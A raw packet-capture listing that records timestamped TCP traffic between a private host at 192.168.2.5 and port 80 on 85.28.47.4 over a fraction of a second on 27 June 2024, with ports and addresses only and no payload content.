Jun 27, 2024 19:25:59.278064966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.278079033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.278090954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.278103113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.278120995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.278151035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.288935900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.288995981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289031982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289048910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289077997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289093018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289093018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289119005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289138079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289138079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289155006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289181948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289211988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289284945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289336920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289377928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289429903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289463043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289479971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289494991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289524078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289524078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289545059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289547920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289566040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289599895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289606094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289621115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289623022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289680958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289680958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289729118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289745092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289760113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289773941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289779902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289789915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289802074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289820910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289839029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289884090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289908886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289925098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289937973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289938927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289956093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289966106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289966106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.289973021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.289985895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290007114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290007114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290167093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290183067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290196896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290211916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290226936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290227890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290229082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290246010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290249109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290275097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290275097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290292978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290458918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290474892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290488958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290504932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290522099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290553093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290621042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290637016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290652037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290668964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290676117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290688038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290693998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290710926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290723085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290728092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290740967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290744066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290760040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290760994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290776014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290781975 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290792942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290821075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290821075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290846109 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.290867090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.290911913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291038036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291054010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291068077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291084051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291085958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291086912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291100979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291106939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291116953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291132927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291135073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291132927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291151047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291153908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291171074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291171074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291188955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291207075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291296959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291312933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291328907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291342974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.291347980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291347980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291383028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.291383028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.292706013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.292766094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.292768955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.292783976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.292820930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.292820930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.292870045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.292886019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.292900085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.292916059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.292927980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.292932987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.292949915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.292973995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.292973995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293026924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293042898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293060064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293097019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293097019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293145895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293159962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293174982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293190002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293211937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293211937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293246031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293315887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293329954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293343067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293358088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293370962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293371916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293392897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293402910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293409109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293402910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293402910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293440104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293450117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293474913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293474913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293935061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293948889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293963909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293989897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.293998003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.293998003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294006109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294023037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294032097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294051886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294071913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294084072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294099092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294114113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294125080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294130087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294146061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294162989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294169903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294169903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294217110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294222116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294233084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294261932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294281960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294291973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294307947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294332981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.294338942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.294389963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.365991116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366008043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366023064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366075993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.366105080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.366106033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366122961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366137981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366156101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.366159916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366177082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.366178036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.366200924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.366262913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366277933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366291046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366303921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366319895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366336107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366379976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366396904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366413116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.366425991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.366471052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.379498959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.379559040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.379575968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.379591942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.379627943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.379662991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.379694939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.379709959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.379724026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.379740000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.379751921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.379785061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.379786015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.380872965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.380887985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.380903006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.380918026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.380933046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.380933046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.380948067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.380964041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.380980015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.380983114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.380984068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.380984068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.380984068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.380995989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381012917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381012917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381031036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381033897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381033897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381046057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381066084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381066084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381104946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381290913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381306887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381320953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381335974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381344080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381378889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381378889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381442070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381458044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381470919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381485939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381494045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381504059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381517887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381517887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381520987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381537914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381545067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381546021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381556034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381572962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381572962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381572962 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381588936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381594896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381612062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381614923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381628036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381633997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381642103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381655931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381658077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381674051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381681919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381681919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381691933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.381702900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381722927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.381742001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382690907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382707119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382720947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382735968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382747889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382750988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382771015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382777929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382795095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382796049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382796049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382811069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382821083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382827044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382836103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382843018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382857084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382860899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382874966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382884979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382890940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382900953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382910967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382916927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382934093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382936954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382936954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382950068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382956982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382968903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382977009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.382983923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.382998943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.383002996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.383002996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.383014917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.383028030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.383032084 CEST	80	49705	85.28.47.4	192.168.2.5
